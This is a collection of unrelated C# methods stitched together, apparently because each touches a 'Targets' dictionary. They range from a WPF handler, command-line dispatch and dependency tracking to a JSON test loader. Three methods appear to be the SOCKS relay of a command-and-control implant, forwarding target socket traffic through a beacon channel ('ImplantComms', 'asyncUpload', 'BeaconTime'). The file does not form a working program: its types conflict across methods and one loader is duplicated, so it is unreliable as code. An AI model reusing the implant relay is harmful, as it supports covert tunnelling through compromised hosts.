/// <summary>
/// Update the available targets.
/// </summary>
/// <param name="sender">The object that raised the event.</param>
/// <param name="e">Event arguments.</param>
private void comboBoxTargetType_SelectionChanged(object sender, SelectionChangedEventArgs e)
{
try
{
comboBoxTarget.ItemsSource = null;
comboBoxTarget.SelectedItem = null;
stackPanelOptions.Children.Clear();
if (Targets.ContainsKey(SelectedTargetType))
{
comboBoxTarget.ItemsSource = Targets[SelectedTargetType];
}
if (TargetTypeOptions.ContainsKey(SelectedTargetType))
{
foreach (string option in TargetTypeOptions[SelectedTargetType])
{
stackPanelOptions.Children.Add(new CheckBox()
{
Content = option
});
}
}
textBlockOptions.Visibility = (stackPanelOptions.Children.Count == 0) ? Visibility.Collapsed : Visibility.Visible;
stackPanelOptions.Visibility = (stackPanelOptions.Children.Count == 0) ? Visibility.Collapsed : Visibility.Visible;
}
catch (Exception err)
{
App.HandleException(err);
}
}
public void RemoveTarget(String targetId)
{
if (Targets.ContainsKey(targetId))
{
Targets.TryRemove(targetId, out TargetInfo trgtinfo);
}
}
public void AddTarget(String targetId, TargetInfo trgtinfo)
{
if (!Targets.ContainsKey(targetId))
{
Targets.TryAdd(targetId, trgtinfo);
}
}
/// <summary>
/// Execute any ArgZero arguments specified on the command line. Has no effect if no relevant arguments
/// are detected.
/// </summary>
public static void ExecuteArgZero(string[] arguments, Action onArgZeroExecuted = null)
{
if (arguments.Length == 0)
{
return;
}
if (Environment.GetCommandLineArgs().Any(a => a.Equals("/pause")))
{
Pause("Press enter to continue");
}
onArgZeroExecuted ??= (() => { });
if (Targets.ContainsKey(arguments[0]))
{
List <string> targetArguments = new List <string>();
List <ArgumentInfo> argumentInfos = new List <ArgumentInfo>();
arguments.Rest(2, (val) =>
{
targetArguments.Add(val);
if (val.StartsWith("/"))
{
string argName = val.TruncateFront(1).ReadUntil(':', out string argVal);
argumentInfos.Add(new ArgumentInfo(argName, true));
}
});
Arguments = new ParsedArguments(targetArguments.ToArray(), argumentInfos.ToArray());
MethodInfo method = Targets[arguments[0]];
if (method.HasCustomAttributeOfType <ArgZeroAttribute>(out ArgZeroAttribute argZeroAttribute))
{
if (argZeroAttribute.BaseType != null)
{
RegisterArgZeroProviderTypes(argZeroAttribute.BaseType, arguments, argZeroAttribute.BaseType.Assembly);
}
}
object instance = null;
if (!method.IsStatic)
{
instance = method.DeclaringType.Construct();
}
try
{
ArgZeroDelegator.CommandLineArguments = arguments;
method.Invoke(instance, null);
}
catch (Exception ex)
{
Message.PrintLine("Exception executing ArgZero: {0}", ConsoleColor.Magenta, ex.Message);
}
onArgZeroExecuted();
}
}
public virtual ILogger GetTarget(string name)
{
ILogger logger = null;
if (Targets.ContainsKey(name))
{
Targets.TryGetValue(name, out logger);
}
return(logger);
}
public DependencyMetadata AddDependency(string itemSpec, IImmutableDictionary <string, string> properties)
{
if (!itemSpec.Contains("/") && !Targets.ContainsKey(itemSpec))
{
var newTarget = new TargetMetadata(properties);
Targets.Add(itemSpec, newTarget);
}
var newDependency = new DependencyMetadata(itemSpec, properties);
DependenciesWorld[itemSpec] = newDependency;
return(newDependency);
}
public DependencyMetadata RemoveDependency(string itemSpec)
{
if (!DependenciesWorld.TryGetValue(itemSpec, out DependencyMetadata removedMetadata))
{
return(null);
}
DependenciesWorld.Remove(itemSpec);
RemoveNodeFromCache(itemSpec);
if (!itemSpec.Contains("/") && Targets.ContainsKey(itemSpec))
{
Targets.Remove(itemSpec);
}
return(removedMetadata);
}
static void ApplyQuality(UValue uValue)
{
if (Targets.ContainsKey(uValue.target))
{
if (Members.ContainsKey(uValue.member))
{
var qTarget = Targets[uValue.target];
var targetMember = Members[uValue.target + "." + uValue.member];
if (targetMember is FieldInfo)
{
((FieldInfo)targetMember).SetValue(qTarget, uValue.value);
}
else if (targetMember is PropertyInfo)
{
((PropertyInfo)targetMember).SetValue(qTarget, uValue.value, null);
}
}
}
}
public virtual void DetachTarget(string name, bool dispose = true)
{
if (name == null)
{
throw new ArgumentNullException("name");
}
if (Targets.ContainsKey(name))
{
ILogger value = null;
if (Targets.TryGetValue(name, out value))
{
Targets.Remove(name);
if (dispose)
{
value.Dispose();
}
}
}
}
private List <Request> LoadJson(string json)
{
try
{
// deserialize json into a list (array)
List <Request> list = JsonConvert.DeserializeObject <List <Request> >(json);
if (list != null && list.Count > 0)
{
List <Request> l2 = new List <Request>();
foreach (Request r in list)
{
// Add the default perf targets if exists
if (r.PerfTarget != null && r.PerfTarget.Quartiles == null)
{
if (Targets.ContainsKey(r.PerfTarget.Category))
{
r.PerfTarget.Quartiles = Targets[r.PerfTarget.Category].Quartiles;
}
}
l2.Add(r);
}
// success
return(l2);
}
Console.WriteLine("Invalid JSON file");
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
// couldn't read the list
return(null);
}
/// <summary>
/// Returns the result of the comparison
/// </summary>
/// <param name="compareModel"></param>
/// <returns></returns>
public static bool Compare(UCompare compareModel)
{
var result = false;
if (Targets.ContainsKey(compareModel.target))
{
var targetObject = Targets[compareModel.target];
if (Members.ContainsKey(compareModel.member))
{
var targetMember = Members[compareModel.member];
if (targetMember is FieldInfo)
{
result = Comparison(((FieldInfo)targetMember).GetValue(targetObject), compareModel.value, compareModel.condition);
}
else if (targetMember is PropertyInfo)
{
result = Comparison(((PropertyInfo)targetMember).GetValue(targetObject, null), compareModel.value,
compareModel.condition);
}
else
{
try
{
result = Comparison(((MethodInfo)targetMember).Invoke(targetObject, compareModel.parameters), compareModel.value,
compareModel.condition);
}
catch (Exception e)
{
ULog.Log("CompareManager:Compare:Method. \n" + e.Message, ULogType.Error);
//InvokeCompareError(compareModel,CompareEventType.Error,e.Message);
//Debug.LogError("CompareManager:Compare method " + compareModel.member + " error: " + e.Message);
}
}
}
}
return(result);
}
/// <summary>
/// Apply one options
/// </summary>
/// <param name="optionValue"></param>
static void ApplyOptions(UValue optionValue)
{
if (Targets.ContainsKey(optionValue.target))
{
var targetObject = Targets[optionValue.target];
if (Members.ContainsKey(optionValue.target + "." + optionValue.member))
{
var targetMember = Members[optionValue.target + "." + optionValue.member];
if (targetMember is FieldInfo)
{
((FieldInfo)targetMember).SetValue(targetObject, optionValue.value);
}
else if (targetMember is PropertyInfo)
{
((PropertyInfo)targetMember).SetValue(targetObject, optionValue.value, null);
}
/*else
* {
* try
* {
* /*if (evt.IsPrevios && evt.parameters.Length > evt.parameters.Length - 1)//???? >0 ???
* evt.parameters[evt.parameters.Length - 1] = previosResult;*/
/*((MethodInfo)targetMember).Invoke(targetObject, optionValue.parameters);
* }
* catch (Exception e)
* {
* ULog.Log("OptionsManager:ApplyOptions error on "+optionValue.member+" \n" + e.Message, ULogType.Error);
* }
* }*/
}
else
{
ULog.Log("ApplyOptions -2 " + optionValue.member + " : " + Members.Count);
}
}
}
public void ReadFromSocket()
{
var arrayBuffer = new byte[512000];
var bytectr = 0;
while (!Cancel.IsCancellationRequested)
{
foreach (var key in Targets.Keys)
{
TargetInfo trget = null;
try
{
if (Targets.ContainsKey(key))
{
trget = Targets[key];
}
if (!trget.Exit)
{
var stream = trget.TargetTcpClient.GetStream();
if (Cancel.IsCancellationRequested || trget.Exit)
{
return;
}
if (IsConnected(trget.TargetTcpClient.Client))
{
if (stream.CanRead && stream.DataAvailable)
{
int ctr = 0;
bytectr = 0;
do
{
var bytesRead = stream.Read(arrayBuffer, 0, 512000);
bytectr += bytesRead;
if (bytesRead > 0)
{
TotalBytesRead += bytesRead;
trget.ReadQueue.Enqueue(arrayBuffer.Take(bytesRead).ToList());
}
ctr++;
} while (!_timeout.WaitOne(10) && stream.CanRead && stream.DataAvailable);
if (ctr >= 1)
{
RecvedData.Set();
ImplantComms.LogMessage($"[{trget.TargetId}] Socks {trget.TargetTcpClient.Client.RemoteEndPoint.ToString()} read {bytectr} available bytes");
}
}
}
else
if (null != trget)
{
trget.Exit = true;
}
}
}
catch
{
if (null != trget)
{
trget.Exit = true;
}
}
if (trget?.Exit ?? true)
{
try { if (null != trget?.TargetTcpClient)
{
trget.TargetTcpClient.Close();
}
}
catch { /*Dont relly care if exception thrown here*/ }
if (Targets.ContainsKey(key))
{
Targets.TryRemove(key, out TargetInfo tgexit);
}
ImplantComms.LogMessage($"[{trget.TargetId}] Connection has been closed");
}
}
_timeout.WaitOne(100);
}
}
/*/// <summary>
* /// Add object to TargetList and members from object to MemberList.
* /// Members of target must contains AccessAllow attribute
* /// </summary>
* /// <param name="targetName"></param>
* /// <param name="newTarget"></param>
* public static void AddTarget(string targetName, object newTarget)
* {
* if (!Targets.ContainsKey(targetName))
* Targets.Add(targetName, newTarget);
* else
* {
* RemoveMembers(targetName);
* Targets[targetName] = newTarget;
* }
* FillMembers(targetName, newTarget);
* }
*
* /// <summary>
* /// Remove target and members from lists
* /// </summary>
* /// <param name="targetName"></param>
* public static void RemoveTarget(string targetName)
* {
* if (Targets.ContainsKey(targetName))
* {
* RemoveMembers(targetName);
* Targets.Remove(targetName);
* }
*
* }*/
/*public void AddConfiguration(Configuration conf)
* {
* if (!Configurations.ContainsKey(conf.Key))
* Configurations.Add(conf.Key, conf);
* else
* Configurations[conf.Key] = conf;
* }
*
* public void AddConfigSection(string configKey, ConfigSection newSection)
* {
* if (Configurations.ContainsKey(configKey))
* Configurations[configKey].AddSection(newSection);
* }
*
* public void AddConfigSections(string configKey, Dictionary<string,ConfigSection> newSections)
* {
* if (!Configurations.ContainsKey(configKey)) return;
* var cfg = Configurations[configKey];
* foreach (var sec in newSections)
* cfg.AddSection(sec.Value);
* }
*
* public void SetConfigSections(string configKey, Dictionary<string, ConfigSection> newSections)
* {
* if (!Configurations.ContainsKey(configKey)) return;
* Configurations[configKey].SetSections(newSections);
* }
*
* public void AddParameter(string configKey, string sectionName,UValue parameter)
* {
* if (Configurations.ContainsKey(configKey) && Configurations[configKey].ContainsSection(sectionName))
* Configurations[configKey][sectionName].AddParameter(parameter.key, parameter);
* }
*
* public void RemoveParameter(string configKey, string sectionName, string parameterKey)
* {
* if (Configurations.ContainsKey(configKey) && Configurations[configKey].ContainsSection(sectionName))
* Configurations[configKey][sectionName].RemoveParameter(parameterKey);
* }
*
* public void RemoveConfiguration(string key)
* {
* if (Configurations.ContainsKey(key))
* Configurations.Remove(key);
* }
*
* public void RemoveConfigSection(string configKey, string sectionName)
* {
* if (Configurations.ContainsKey(configKey))
* Configurations[configKey].RemoveSection(sectionName);
* }*/
/// <summary>
///
/// </summary>
/// <param name="targetName"></param>
/// <returns></returns>
public static bool TargetExists(string targetName)
{
return(Targets.ContainsKey(targetName));
}
public void SendToTarget()
{
var SendWait = new ManualResetEvent(false);
while (!Cancel.IsCancellationRequested)
{
RecvedData.WaitOne(-1);;
RecvedData.Reset();
foreach (var key in Targets.Keys)
{
TargetInfo trget = null;
try
{
if (Targets.ContainsKey(key))
{
trget = Targets[key];
}
if (null != trget && !trget.Exit)
{
List <byte> readPyld = null;
var payload = new List <byte>();
while (trget.ReadQueue.Count > 0)
{
trget.ReadQueue.TryDequeue(out readPyld);
payload.AddRange(readPyld);
}
if (payload.Count > 0)
{
Task.Factory.StartNew(() =>
{
List <byte> toSend = null;
try
{
toSend = CmdCommshandler.Send(trget, "asyncUpload", payload, out bool connectionDead);
ImplantComms.LogMessage($"[{trget.TargetId}] Received {toSend?.Count() ?? 0} bytes after sending {payload?.Count ?? 0 } bytes");
if (null == toSend || connectionDead)
{
ImplantComms.LogError($"[{trget.TargetId}] Connection looks dead EXITING");
trget.Exit = true;
}
else if (toSend.Count > 0)
{
trget.WriteQueue.Enqueue(toSend);
SentData.Set();
}
}
catch
{
trget.Exit = true;
ImplantComms.LogError($"[{trget.TargetId}] Couldn't send {toSend?.Count()} bytes");
}
});
ImplantComms.LogMessage($"[{trget.TargetId}] {payload?.Count() ?? 0} bytes arrived from target about to send back");
}
}
SendWait.WaitOne(BeaconTime);
}
catch (Exception ex)
{
if (null != trget)
{
trget.Exit = true;
}
ImplantComms.LogError($"[{trget.TargetId}] Error during Send Data loop {ex}");
}
}
}
}
public void WriteToSocket()
{
while (!Cancel.IsCancellationRequested)
{
SentData.WaitOne(-1);
SentData.Reset();
foreach (var key in Targets.Keys)
{
TargetInfo trget = null;
NetworkStream stream = null;
try
{
if (Targets.ContainsKey(key))
{
trget = Targets[key];
}
if (null != trget && !trget.Exit)
{
stream = trget.TargetTcpClient.GetStream();
if (trget.WriteQueue.Count > 0)
{
var toSend = new List <byte>();
List <byte> pyld = null;
while (trget.WriteQueue.Count() > 0)
{
trget.WriteQueue.TryDequeue(out pyld);
if (pyld.Count > 0)
{
toSend.AddRange(pyld);
}
}
if (IsConnected(trget.TargetTcpClient.Client))
{
if (toSend != null && toSend.Count() > 0)
{
TotalBytesWritten += toSend.Count;
stream.Write(toSend.ToArray(), 0, toSend.Count());
stream.Flush();
ImplantComms.LogMessage($"[{trget.TargetId}] Written {toSend.Count()} from client");
}
}
else
if (null != trget)
{
trget.Exit = true;
}
}
}
}
catch
{
if (null != trget)
{
trget.Exit = true;
}
}
if (!trget?.TargetTcpClient?.Connected ?? false || (trget?.Exit ?? true))
{
try { if (null != stream)
{
stream.Close();
}
}
catch { /*Dont relly care if exception thrown here*/ }
try { if (null != trget?.TargetTcpClient)
{
trget.TargetTcpClient.Close();
}
}
catch { /*Dont relly care if exception thrown here*/ }
if (Targets.ContainsKey(key))
{
Targets.TryRemove(key, out TargetInfo tgexit);
}
ImplantComms.LogMessage($"[{trget.TargetId}] Connection has been closed");
}
}
}
}
/// <summary>
/// Read a json test file
/// </summary>
/// <param name="file">file path</param>
/// <returns>List of Request</returns>
public List <Request> ReadJson(string file)
{
if (string.IsNullOrWhiteSpace(file))
{
throw new ArgumentNullException(nameof(file));
}
// check for file exists
if (string.IsNullOrEmpty(file) || !File.Exists(file))
{
Console.WriteLine($"File Not Found: {file}");
return(null);
}
// read the file
string json = File.ReadAllText(file);
// check for empty file
if (string.IsNullOrEmpty(json))
{
Console.WriteLine($"Unable to read file {file}");
return(null);
}
try
{
// deserialize json into a list (array)
List <Request> list = JsonConvert.DeserializeObject <List <Request> >(json);
if (list != null && list.Count > 0)
{
List <Request> l2 = new List <Request>();
foreach (Request r in list)
{
// Add the default perf targets if exists
if (r.PerfTarget != null && r.PerfTarget.Quartiles == null)
{
if (Targets.ContainsKey(r.PerfTarget.Category))
{
r.PerfTarget.Quartiles = Targets[r.PerfTarget.Category].Quartiles;
}
}
l2.Add(r);
}
// success
return(l2);
}
Console.WriteLine("Invalid JSON file");
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
// couldn't read the list
return(null);
}
